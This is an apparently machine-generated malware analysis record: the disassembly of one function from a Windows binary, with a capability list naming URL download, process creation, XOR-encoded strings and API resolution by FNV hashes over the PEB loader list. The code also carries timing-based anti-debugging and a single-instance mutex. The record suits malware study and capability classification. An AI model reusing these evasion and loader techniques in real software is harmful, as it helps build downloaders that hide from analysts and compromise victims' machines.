Function at 0x412690
Capabilities:
Access peb ldr_data
Create process on windows
Create thread
Download url
Encode data using xor
Hash data using fnv
Move file
Receive data
Resolve function by parsing pe exports
Set console window title
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x489910
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x4d8
mov eax, dword [0x4a4314]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebx + 8]
xor esi, esi
mov dword [ebp - 0x4d4], eax
xor edi, edi
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x4c4], eax
nop word [eax + eax]
mov dword [ebp - 0x4b4], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [ebp - 0x4b4], 0
mov edi, eax
je 0x41272b
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
sub ecx, dword [ebp - 0x4b4]
cmp ecx, 0x46
jbe 0x412726
mov dword [0], 0
cmp esi, 4
jg 0x41272e
inc esi
jmp 0x4126f0
push 4
call fcn.0046a591
add esp, 4
lea ecx, [ebp - 0x23c]
mov dword [eax], 0x4097d0
push ecx
push 0
push eax
push 0x4174f0
push 0
push 0
call fcn.0046e384
add esp, 0x18
mov dword [ebp - 0x240], eax
test eax, eax
je 0x4160c1
mov ecx, dword [ebp - 0x23c]
test ecx, ecx
je 0x4160d2
push ecx
push eax
call fcn.00417c57
add esp, 8
test eax, eax
jne 0x4160d9
call fcn.00409010
call fcn.00408db0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4cc], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x4b4], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c8], ecx
cmp ecx, esi
je 0x41281b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41281b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x4b4], ecx
dec edi
mov esi, 0x2be7c6a9
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41280e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4127f1
cmp esi, 0x5ac1848c
je 0x41281f
mov ecx, dword [ebp - 0x4b4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4127d6
mov eax, dword [eax]
jmp 0x4127a0
mov eax, dword [ebp - 0x4c8]
mov edx, dword [ebp - 0x4cc]
push 0x1f4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
call fcn.0040bb90
movups xmm0, xmmword [0x49e684]
mov eax, dword [0x49e6b4]
xor edx, edx
cmp dword [0x4a5684], 2
movups xmmword [ebp - 0x40c], xmm0
mov dword [ebp - 0x3dc], eax
movups xmm0, xmmword [0x49e694]
mov ax, word [0x49e6b8]
lea edi, [edx + 4]
mov word [ebp - 0x3d8], ax
lea ecx, [edx + 0x1f]
mov al, byte [0x49e6ba]
movups xmmword [ebp - 0x3fc], xmm0
mov byte [ebp - 0x3d6], al
movups xmm0, xmmword [0x49e6a4]
mov dword [ebp - 0x4c8], edx
movups xmmword [ebp - 0x3ec], xmm0
jl 0x412a00
movaps xmm0, xmmword [0x49f340]
mov eax, edi
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movaps xmmword [ebp - 0x4c0], xmm0
movd xmm7, ecx
mov ecx, dword [ebp - 0x4c0]
movd xmm5, edi
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x410]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x410], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x40c]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x40c], xmm1
add eax, 8
cmp eax, 0x34
jl 0x4128f0
mov dword [ebp - 0x4c8], edx
cmp edx, 0x37
jge 0x412a37
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x40c], cl
inc edx
mov dword [ebp - 0x4c8], edx
cmp edx, 0x37
jl 0x412a00
mov dword [ebp - 0x348], 0
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x338], 0
push eax
lea ecx, [ebp - 0x348]
mov dword [ebp - 0x334], 0xf
mov dword [ebp - 4], 0xffffffff
call fcn.004166e0
mov ecx, 0x4a5e2c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412a76
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x338]
sub eax, edx
cmp eax, ecx
jb 0x4160df
cmp dword [ebp - 0x334], 0x10
lea eax, [ebp - 0x348]
push ecx
cmovae eax, dword [ebp - 0x348]
push 0x4a5e2c
push edx
push eax
push ecx
push dword [ebp - 0x4d4]
lea ecx, [ebp - 0x360]
call fcn.00417250
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
je 0x412bdd
push 0xc
lea eax, [ebp - 0x4e0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x412bdd
push esi
call dword [sym.imp.dbghelp.dll_ImageNtHeader]
movzx esi, word [eax + 0x14]
add esi, 0x18
add esi, eax
mov ax, word [0x49e680]
movzx ecx, ah
xor edi, edi
mov word [ebp - 0x4ca], cx
nop word [eax + eax]
mov edx, dword [0x49e67c]
mov dword [ebp - 0x238], edx
mov word [ebp - 0x234], ax
test cl, cl
je 0x412b7c
xor edx, edx
mov dword [ebp - 0x4c8], edx
nop
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x4c8]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4c8]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x238], cl
inc edx
mov dword [ebp - 0x4c8], edx
cmp edx, 6
jl 0x412b40
lea ecx, [ebp - 0x238]
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x412ba4
test dl, dl
je 0x412ba0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x412ba4
add eax, 2
add ecx, 2
test dl, dl
jne 0x412b84
xor eax, eax
jmp 0x412ba9
sbb eax, eax
or eax, 1
test eax, eax
je 0x412bca
mov ax, word [0x49e680]
inc edi
mov cx, word [ebp - 0x4ca]
add esi, 0x28
cmp di, 1
jb 0x412b20
jmp 0x412bd8
mov eax, dword [esi + 0xc]
add eax, dword [ebp - 0x4e0]
mov dword [0x4a5e50], eax
mov edi, 4
mov dword [ebp - 0x330], 0
push dword [ebp - 0x4c4]
lea ecx, [ebp - 0x330]
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x31c], 0xf
mov dword [ebp - 4], 0xffffffff
call fcn.004166e0
movups xmm0, xmmword [0x49edd4]
mov eax, dword [0x49edf4]
xor edx, edx
cmp dword [0x4a5684], 2
mov dword [ebp - 0x390], eax
mov ax, word [0x49edf8]
movups xmmword [ebp - 0x3b0], xmm0
mov word [ebp - 0x38c], ax
movups xmm0, xmmword [0x49ede4]
mov al, byte [0x49edfa]
mov byte [ebp - 0x38a], al
movups xmmword [ebp - 0x3a0], xmm0
mov dword [ebp - 0x4c8], edx
jl 0x412db0
movaps xmm0, xmmword [0x49f340]
mov eax, 0x1f
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
movd xmm5, edi
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3b4]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x3b4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3b0]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x3b0], xmm1
add eax, 8
cmp eax, 0x24
jl 0x412ca0
mov dword [ebp - 0x4c8], edx
cmp edx, 0x27
jge 0x412de7
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x3b0], cl
inc edx
mov dword [ebp - 0x4c8], edx
cmp edx, 0x27
jl 0x412db0
lea eax, [ebp - 0x3b0]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp byte [0x49eeab], 0
mov edi, eax
mov ecx, dword [0x49eea4]
mov esi, dword [0x49eea8]
mov dword [ebp - 0x4c8], edi
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x22c], esi
je 0x412f7c
xor edx, edx
cmp dword [0x4a5684], 2
mov dword [ebp - 0x4cc], edx
jl 0x412f40
movaps xmm2, xmmword [0x49f2f0]
mov eax, 4
movaps xmm4, xmmword [0x49f330]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [0x49f340]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x49f300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x230], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [ebp - 0x22c], xmm1
jmp 0x412f7c
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x4cc]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4cc]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x230], cl
inc edx
mov dword [ebp - 0x4cc], edx
cmp edx, 8
jl 0x412f40
lea edx, [ebp - 0x230]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x412f85
mov esi, dword [ebp - 0x320]
sub edx, ecx
cmp dword [ebp - 0x31c], 0x10
lea ecx, [ebp - 0x330]
cmovae ecx, dword [ebp - 0x330]
setae byte [ebp - 0x4c9]
cmp esi, edx
jne 0x4138df
lea edx, [ebp - 0x230]
sub esi, 4
jb 0x412fd3
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x412fd8
add ecx, 4
add edx, 4
sub esi, 4
jae 0x412fc2
cmp esi, 0xfffffffc
je 0x41300c
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x413005
cmp esi, 0xfffffffd
je 0x41300c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x413005
cmp esi, 0xfffffffe
je 0x41300c
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x413005
cmp esi, 0xffffffff
je 0x41300c
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x41300c
sbb eax, eax
or eax, 1
jmp 0x41300e
xor eax, eax
test eax, eax
jne 0x4138df
mov eax, dword [0x49e7cc]
xor edx, edx
cmp dword [0x4a5684], 2
movups xmm0, xmmword [0x49e7bc]
mov dword [ebp - 0x2a8], eax
mov ax, word [0x49e7d0]
mov word [ebp - 0x2a4], ax
mov al, byte [0x49e7d2]
movups xmmword [ebp - 0x2b8], xmm0
mov byte [ebp - 0x2a2], al
mov dword [ebp - 0x4b4], edx
jl 0x4131b0
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2bc]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x2bc], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x2b8]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x2b8], xmm1
add eax, 8
cmp eax, 0x14
jl 0x4130a0
mov dword [ebp - 0x4b4], edx
cmp edx, 0x17
jge 0x4131e7
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x2b8], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x17
jl 0x4131b0
lea ecx, [ebp - 0x2b8]
call fcn.00403aa0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x22c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [esi + edx]
mov dword [ebp - 0x4b4], ecx
cmp ecx, esi
je 0x41327b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41327b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x4c4], ecx
dec edi
mov esi, 0xd1872e9f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41326e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x413251
cmp esi, 0x7dcc9902
je 0x41327f
mov ecx, dword [ebp - 0x4c4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x413236
mov eax, dword [eax]
jmp 0x413200
mov eax, dword [ebp - 0x4b4]
mov edx, dword [ebp - 0x22c]
push 0x41a
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [str._a_bC_v]
xor edx, edx
cmp dword [0x4a5684], 2
movq xmm0, qword [0x49f030]
mov dword [ebp - 0x2e0], eax
mov ax, word [0x49f03c]
mov word [ebp - 0x2dc], ax
mov al, byte [0x49f03e]
movq qword [ebp - 0x2e8], xmm0
mov byte [ebp - 0x2da], al
mov dword [ebp - 0x4b4], edx
jl 0x413402
movaps xmm2, xmmword [0x49f2f0]
mov eax, 4
movaps xmm4, xmmword [0x49f330]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x4b4], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [0x49f340]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x49f300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x49f030]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2e8], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x2e4]
pxor xmm1, xmm0
movd dword [ebp - 0x2e4], xmm1
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x2e8], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0xf
jl 0x413402
mov dword [ebp - 0x2a0], 0
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x290], 0
push eax
lea ecx, [ebp - 0x2a0]
mov dword [ebp - 0x28c], 0xf
mov dword [ebp - 4], 0xffffffff
call fcn.004166e0
cmp dword [ebp - 0x28c], 0x10
lea eax, [ebp - 0x2a0]
cmovae eax, dword [ebp - 0x2a0]
push eax
call fcn.0046e1be
add esp, 4
cmp dword [ebp - 0x4c8], 0
je 0x4136d0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x41352b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41352b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0x897a9488
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41351e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x413501
cmp esi, 0x8180bc02
je 0x41352f
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4134e6
mov eax, dword [eax]
jmp 0x4134b0
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp eax, 0xb7
jne 0x4138a2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x4135eb
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4135eb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0x66d13bb0
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4135de
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4135c1
cmp esi, 0x4347281c
je 0x4135ef
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4135a6
mov eax, dword [eax]
jmp 0x413570
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
push dword [ebp - 0x4c8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x41369d
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41369d
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0x834f3c5f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x413690
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x413673
cmp esi, 0x987c4853
je 0x4136a1
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x413658
mov eax, dword [eax]
jmp 0x413622
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
push dword [ebp - 0x4c8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
nop dword [eax + eax]
movups xmm0, xmmword [0x49e8b4]
mov al, byte [0x49e8d4]
xor edx, edx
cmp dword [0x4a5684], 2
movups xmmword [ebp - 0x26c], xmm0
mov byte [ebp - 0x24c], al
movups xmm0, xmmword [0x49e8c4]
mov dword [ebp - 0x4b4], edx
movups xmmword [ebp - 0x25c], xmm0
jl 0x413860
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x270]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x270], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x26c]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x26c], xmm1
